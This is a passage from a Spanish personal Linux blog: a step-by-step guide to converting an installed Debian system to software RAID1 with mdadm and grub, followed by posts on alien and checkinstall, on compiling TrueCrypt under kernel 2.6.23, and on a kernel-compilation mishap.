    Partimos de un sistema ya instalado con tres particiones distintas: /dev/sda1 para /boot, /dev/sda5 para el swap y /dev/sda6 para /.
    Filesystem            Size  Used Avail Use% Mounted on
    /dev/sda6 7.4G 509M 6.5G 8% /
    tmpfs 63M 0 63M 0% /lib/init/rw
    udev 10M 84K 10M 1% /dev
    tmpfs 63M 0 63M 0% /dev/shm
    /dev/sda1 177M 11M 157M 7% /boot

  • Después de añadir el disco a la máquina utilizamos el truco que ya usamos en el artículo original para copiar la tabla de particiones de un disco a otro:
    shian:~# sfdisk -d /dev/sda | sfdisk /dev/sdb
    Checking that no-one is using this disk right now ...
    OK

    Disk /dev/sdb: 1044 cylinders, 255 heads, 63 sectors/track

    sfdisk: ERROR: sector 0 does not have an msdos signature
    /dev/sdb: unrecognized partition table type
    Old situation:
    No partitions found
    New situation:
    Units = sectors of 512 bytes, counting from 0

    Device Boot Start End #sectors Id System
    /dev/sdb1 63 385559 385497 83 Linux
    /dev/sdb2 385560 16771859 16386300 5 Extended
    /dev/sdb3 0 - 0 0 Empty
    /dev/sdb4 0 - 0 0 Empty
    /dev/sdb5 385623 1172744 787122 82 Linux swap / Solaris
    /dev/sdb6 1172808 16771859 15599052 83 Linux
  • Editamos con fdisk las particiones de /dev/sdb y cambiamos del tipo a fd de las número 1, 5 y 6. El resultado final es:
    ...
    Command (m for help): p

    Disk /dev/sdb: 8589 MB, 8589934592 bytes
    255 heads, 63 sectors/track, 1044 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes

    Device Boot Start End Blocks Id System
    /dev/sdb1 1 24 192748+ fd Linux raid autodetect
    /dev/sdb2 25 1044 8193150 5 Extended
    /dev/sdb5 25 73 393561 fd Linux raid autodetect
    /dev/sdb6 74 1044 7799526 fd Linux raid autodetect
  • Ahora creamos los dispositivos raid para las particiones.
    shian:~# mdadm --create /dev/md0 --level=1 --raid-disks=2 missing /dev/sdb1
    mdadm: array /dev/md0 started.
    shian:~# mdadm --create /dev/md1 --level=1 --raid-disks=2 missing /dev/sdb5
    mdadm: array /dev/md1 started.
    shian:~# mdadm --create /dev/md2 --level=1 --raid-disks=2 missing /dev/sdb6
    mdadm: array /dev/md2 started.
  • Formateamos las nuevas particiones.
    shian:~# mkfs.ext2 /dev/md0
    shian:~# mkswap /dev/md1
    shian:~# mkfs.ext3 /dev/md2
  • Actualizamos el archivo mdadm.conf con los nuevos dispositivos raid.
    shian:~# cd /etc/mdadm
    shian:/etc/mdadm# cp mdadm.conf mdadm.conf.`date +%y%m%d`
    shian:/etc/mdadm# echo "DEVICE partitions" > mdadm.conf
    shian:/etc/mdadm# mdadm --detail --scan >> mdadm.conf
  • Montamos las particiones del raid.
    shian:~# mkdir /mnt/md0
    shian:~# mkdir /mnt/md2

    shian:~# mount /dev/md0 /mnt/md0
    shian:~# mount /dev/md2 /mnt/md2
  • Editamos el archivo /etc/fstab y cambiamos sda1, sda5 y sda6 por los nuevos dispositivos del raid (md0, md1 y md2 respectivamente).
    # /etc/fstab: static file system information.
    #
    #
    proc /proc proc defaults 0 0
    /dev/md2 / ext3 defaults,errors=remount-ro 0 1
    /dev/md0 /boot ext2 defaults 0 2
    /dev/md1 none swap sw 0 0
    /dev/hdc /media/cdrom0 udf,iso9660 user,noauto 0 0
    /dev/fd0 /media/floppy0 auto rw,user,noauto 0 0
  • Editamos el archivo /boot/grub/menu.lst de configuración del grub para añadir las entradas a ambos discos duros. Duplicamos la línea que tenemos del arranque, cambiamos sda6 por md2 y cambiamos el disco duro del que arranca.
    # Línea original
    #title Debian GNU/Linux, kernel 2.6.18-4-686
    #root (hd0,0)
    #kernel /vmlinuz-2.6.18-4-686 root=/dev/sda6 ro
    #initrd /initrd.img-2.6.18-4-686
    #savedefault

    # Nuevas líneas
    title Debian GNU/Linux, kernel 2.6.18-4-686 (HD1)
    root (hd1,0)
    kernel /vmlinuz-2.6.18-4-686 root=/dev/md2 ro
    initrd /initrd.img-2.6.18-4-686
    savedefault

    title Debian GNU/Linux, kernel 2.6.18-4-686 (HD0)
    root (hd0,0)
    kernel /vmlinuz-2.6.18-4-686 root=/dev/md2 ro
    initrd /initrd.img-2.6.18-4-686
    savedefault
  • Ahora actualizamos el ramdisk para que se reflejen los cambios que hemos hecho.
    shian:~# update-initramfs -u
    update-initramfs: Generating /boot/initrd.img-2.6.18-4-686
  • Copiamos los datos de las particiones antiguas a las nuevas del raid. La opción 'x' es muy importante porque sino al copiar desde / copiaríamos todo de manera recursiva.
    shian:~# cp -ax / /mnt/md2

    shian:~# cd /boot/
    shian:/boot# cp -ax . /mnt/md0
  • Instalamos y reconfiguramos grub en los dos discos.
    shian:~# grub

    grub> root (hd0,0)
    Filesystem type is ext2fs, partition type 0x83

    grub> setup (hd0)
    Checking if "/boot/grub/stage1" exists... no
    Checking if "/grub/stage1" exists... yes
    Checking if "/grub/stage2" exists... yes
    Checking if "/grub/e2fs_stage1_5" exists... yes
    Running "embed /grub/e2fs_stage1_5 (hd0)"... 15 sectors are embedded.
    succeeded
    Running "install /grub/stage1 (hd0) (hd0)1+15 p (hd0,0)/grub/stage2 /grub/menu.lst"... succeeded
    Done.

    grub> root (hd1,0)
    Filesystem type is ext2fs, partition type 0xfd

    grub> setup (hd1)
    Checking if "/boot/grub/stage1" exists... no
    Checking if "/grub/stage1" exists... yes
    Checking if "/grub/stage2" exists... yes
    Checking if "/grub/e2fs_stage1_5" exists... yes
    Running "embed /grub/e2fs_stage1_5 (hd1)"... 15 sectors are embedded.
    succeeded
    Running "install /grub/stage1 (hd1) (hd1)1+15 p (hd1,0)/grub/stage2 /grub/menu.lst"... succeeded
    Done.
  • Y ya podemos reinicar la máquina. Hay que tenemos en cuenta que la máquina sólo arrancará del segundo disco porque el primero todavía no forma parte del raid. Si todo va bien, una vez que arranque veremos algo como esto:
    shian:~# df -h
    Filesystem Size Used Avail Use% Mounted on
    /dev/md2 7.4G 509M 6.5G 8% /
    tmpfs 63M 0 63M 0% /lib/init/rw
    udev 10M 100K 10M 1% /dev
    tmpfs 63M 0 63M 0% /dev/shm
    /dev/md0 183M 13M 161M 8% /boot

    shian:~# mount
    /dev/md2 on / type ext3 (rw,errors=remount-ro)
    tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
    proc on /proc type proc (rw,noexec,nosuid,nodev)
    sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
    udev on /dev type tmpfs (rw,mode=0755)
    tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
    devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
    /dev/md0 on /boot type ext2 (rw)
  • Lo más difícil ya está hecho. Tenemos el raid funcionando en modo degradado porque sólo está disponible el disco sdb. Ahora repetimos casi el mismo proceso para el disco antiguo. Cambiamos el tipo de particiones a fd y las añadimos particiones al raid.
    shian:~# fdisk /dev/sda
    ...
    Command (m for help): p

    Disk /dev/sda: 8589 MB, 8589934592 bytes
    255 heads, 63 sectors/track, 1044 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes

    Device Boot Start End Blocks Id System
    /dev/sda1 1 24 192748+ fd Linux raid autodetect
    /dev/sda2 25 1044 8193150 5 Extended
    /dev/sda5 25 73 393561 fd Linux raid autodetect
    /dev/sda6 74 1044 7799526 fd Linux raid autodetect
    ...


    shian:~# mdadm --add /dev/md0 /dev/sda1
    mdadm: added /dev/sda1
    shian:~# mdadm --add /dev/md1 /dev/sda5
    mdadm: added /dev/sda5
    shian:~# mdadm --add /dev/md2 /dev/sda6
    mdadm: added /dev/sda6
  • Empezará entonces la reconstrucción de los raid.
    shian:~# cat /proc/mdstat
    Personalities : [raid1] [raid6] [raid5] [raid4]
    md2 : active raid1 sda6[2] sdb6[1]
    7799424 blocks [2/1] [_U]
    [=====>...............] recovery = 25.2% (1967936/7799424) finish=1.1min speed=81997K/sec

    md1 : active raid1 sda5[0] sdb5[1]
    393472 blocks [2/2] [UU]

    md0 : active raid1 sda1[0] sdb1[1]
    192640 blocks [2/2] [UU]

    unused devices:

  •    Un vez terminada la reconstrucción tendremos listo el sistema. Ahora, si queremos probar que todo funciona correctamente podemos reinicar de nuevo la máquina y comprobar que es capaz de arrancar desde cualquiera de los dos discos.

       Con este tipo de configuración estamos seguros de que aunque falle un disco nuestro servidor estará disponible y no tendremos que reinstalar ni reconfigurar nada. Sólo será necesario cambiar el disco defectuoso, reconstruir el raid y reconfigurar el grub.

    miércoles, 20 de febrero de 2008

    Crear paquetes deb desde otros formatos

       Cuando utilizaba RedHat, SuSE o Slackware hace algún tiempo para probar y cacharrear o simplemente para hacer las prácticas de la facultad y tenía que instalar algún programa no tenía ningún problema en compilarlo e instalarlo "a lo loco" e incluso trabajar como root. Por aquel entonces, aunque linux me gustaba sólo lo utilizaba como una ayuda durante la carrera para no tener que pasarme las horas en el centro de cálculo pegándome por un terminal VT100 de fósforo verde que me destrozaba la vista. Qué tiempos aquellos... y eso que "sólo" han pasado 10 años desde aquel 1997 en que empecé la carrera (que por cierto ya terminé).

       En fin, que compilaba, hacía make install y no me preocupaba de desinstalar ni de cómo podía quedar el sistema después de eso (total, lo reinstala y punto, no me suponía demasiado). Ahora, desde que utilizo linux como mi sistema operativo principal me preocupa que si me pongo a compilar e instalar compulsivamente o simplemente quiero probar algo, luego me resulte complicado mantener el control de lo que está instalado, desinstalarlo con facilidad,... Aunque con el magnífico apt este problema desaparece para cualquier paquete que descarguemos, en el caso de las compilaciones o de utilidades de las que no existan paquetes .deb la cosa es más compleja. Así, he descubierto un par de utilidades que me van a hacer la vida aún más fácil: alien y checkinstall.

    Alien: En ocasiones no hay paquetes en formato .deb pero sin embargo sí existen en formato .rpm. Con esta utilidad los podemos convertir a nuestro formato favorito.

    Checkinstall: Cuando compilamos un programa, el paso final suele ser make install que instala los binarios, las librerías, la ayuda del man,... En muy pocas ocasiones viene con un target uninstall del make, por lo que una posterior tarea de desinstalación suele ser algo tediosa. Checkinstall sirve para crear paquetes .deb a partir del código compilado, por lo que si posteriormente queremos desinstalar algo sólo hay que hacer un simple apt-get remove paquete.
  • Instalarlos es algo tan sencillo como:
    ivan@doraemon:~$ sudo apt-get install checkinstall alien

  • Para convertir los paquetes con alien hacemos:
    ivan@doraemon:~$ sudo alien -d paquete.rpm
  • Y una vez convertido lo podemos instalar como siempre:
    ivan@doraemon:~$ sudo dpkg -i paquete.deb

  • Si por el contrario tenemos el código fuente para compilarlo utilizaremos checkinstall, para ello hacemos:
    ivan@doraemon:~$ tar zxvf paquete.tar.gz
    ivan@doraemon:~$ cd paquete
    ivan@doraemon:~/paquete $ ./configure
    ivan@doraemon:~/paquete $ make
    ivan@doraemon:~/paquete $ sudo checkinstall
  • Y después de unas cuantas preguntas tendremos creado nuestro paquete.deb listo para instalar y mantener.
  • lunes, 28 de enero de 2008

    Truecrypt en Linux con kernel 2.6.23

       Para el que no lo conozca, Truecrypt es una mágnifica utilidad libre y de código abierto multiplataforma para windows y linux que permite entre otras muchas opciones crear discos virtuales cifrados para poder almacenar nuestra información confidencial de manera segura. Además, proporciona un modo de funcionamiento traveller en el que no es necesario tener nada instalado y que podemos ejecutar desde un pendrive. Así, podemos llevar toda la información de nuestro pendrive cifrada y descifrarla al vuelo y en cualquier ordenador en el momento en que la necesitemos.

       En la web existen numerosos tutoriales sobre cómo crear volúmenes cifrados, las distintas opciones, elegir el algoritmo de cifrado,... Además el apartado de documentación de la web oficial es muy completo y extenso. En este artículo lo que quiero contar es cómo compilar truecrypt en linux utilizando un kernel superior a 2.6.23.

       Lo primero de todo es descargarlo. Existen binarios compilados para unas cuantas distribuciones (OpenSuSE 10.2, OpenSuSE 10.3 y algunas versiones de Ubuntu), pero en mi caso no me servían porque están pensados para el kernel estándar y yo trabajo con una versión compilada por mi del kernel. Así, me descargué el código fuente y me dispuse a compilarlo e instalarlo. Enseguida encontré el primer problema porque nada más empezar la compilación aparecía un error:
    ivan@doraemon:~$ tar zxf truecrypt-4.3a-source-code.tar.gz
    ivan@doraemon:~$ cd truecrypt-4.3a-source-code/Linux
    ivan@doraemon:~/truecrypt-4.3a-source-code/Linux$ sudo ./build.sh
    Checking build requirements...
    Building kernel module... /home/ivan/truecrypt-4.3a-source-code/Linux/Kernel/Dm-target.c: In function `dm_truecrypt_init´:
    /home/ivan/truecrypt-4.3a-source-code/Linux/Kernel/Dm-target.c:659: error: too many arguments to function `kmem_cache_create´
    make[2]: *** [/home/ivan/truecrypt-4.3a-source-code/Linux/Kernel/Dm-target.o] Error 1
    make[1]: *** [_module_/home/ivan/truecrypt-4.3a-source-code/Linux/Kernel] Error 2
    make: *** [truecrypt] Error 2
    Error: Failed to build kernel module

       Buscando un poco de información por la red encontré este post en un foro de Fedora en el que cuentan una solución. Todo pasa por editar el archivo Dm-target.c y en la línea 659 quitar el último NULL.
    //bio_ctx_cache = kmem_cache_create ("truecrypt-bioctx", sizeof (struct bio_ctx), 0, 0, NULL, NULL);
    bio_ctx_cache = kmem_cache_create ("truecrypt-bioctx", sizeof (struct bio_ctx), 0, 0, NULL);

    Ahora, compilando de nuevo:
    ivan@doraemon:~/truecrypt-4.3a-source-code/Linux$ sudo ./build.sh
    Checking build requirements...
    Building kernel module... Done.
    Building truecrypt... Done.

    Instalamos
    ivan@doraemon:~/truecrypt-4.3a-source-code/Linux$ sudo ./install.sh
    Checking installation requirements...
    Testing truecrypt... Done.

    Install binaries to [/usr/bin]:
    Install man page to [/usr/share/man]:
    Install user guide and kernel module to [/usr/share/truecrypt]:
    Installing kernel module...
    Done.
    Installing truecrypt to /usr/bin... Done.
    Installing man page to /usr/share/man/man1... Done.
    Installing user guide to /usr/share/truecrypt/doc... Done.
    Installing backup kernel module to /usr/share/truecrypt/kernel... Done.

       Espero que le pueda servir a alguien porque yo estuve un buen rato buscando hasta que encontré la solución. Ahora ya podemos utilizar esta magnífica herramienta para cifrar toda nuestra información sensible tanto en linux como en windows en nuestro pendrive.

       Como nota final diré que hace unos días han publicado en HowtoForge un artículo con una GUI para el Truecrypt de Linux y unos sencillos pasos para configurarlo y dejarlo todo a punto.

    viernes, 28 de diciembre de 2007

    Compilando el kernel... ¡qué no hacer!

    Después de insistir unas cuantas veces en los comentarios del blog de Vicente Navarro (aka Supercoco) por fin me puse a compilar el kernel de mi Ubuntu Gutsy Gibon. La verdad es que todo fue bien excepto por la instalación de los drivers de nvidia y el sonido.
    La instalación de los drivers de nvidia fue rápida y sencilla (aunque previamente tuve que desinstalar los anteriores que traía ubuntu porque había algún conflicto.
    Respecto al sonido, me faltaba un módulo que encontré en Device Drivers -> Sound -> Advanced Linux Sound Architecture -> PCI devices -> Intel HD Audio y todo funcionó sin problemas. Desde ese momento ya estoy trabajando con el kernel 2.6.23.11:
    ivan@doraemon:~$ uname -a
    Linux doraemon.casa 2.6.23.11-ILM #1 SMP Sat Dec 15 10:04:16 CET 2007 i686 GNU/Linux

       Después de esto me decidí a actualizar el kernel del servidor de backup que funciona con Debian Etch. Como (creo) que ya he comentado alguna vez, este ordenador sólo tiene el cable de alimentación y el cable de red. No tiene teclado, ratón, disquetera, lector de dvds,... nada que no utilice porque está pensado sólo para hacer backups e interactuar con él por ssh.

       Pues nada, compilo el nuevo kernel, le conecto mi teclado y monitor para ver que todo es correcto en el arranque y me aparece un bonito kernel panic. Esto no habría sido más que una simple anécdota si no fuera porque tenía configurado el grub para que arrancase el kernel por defecto con un delay de 0 segundos, así que entraba una y otra vez en el mismo kernel y no había manera de arrancar la máquina!. Al final tuve que subir al trastero y buscar un lector de cds para arrancar con un live-cd y poder editar el menu.lst para arreglar el estropicio. Después de dejarlo todo funcionando ya he aprendido la lección y ahora espera 5 segundos antes de arrancar, así cuando vuelva a compilar el kernel y no funcione bien a la primera no tenga que perder media mañana en arreglar el problema.
    Moraleja: Por ahorrarme 5 segundos en el arranque al final gasté unas cuantas horas...

    P.D: No arrancaba porque se me había olvidado crear el initrd...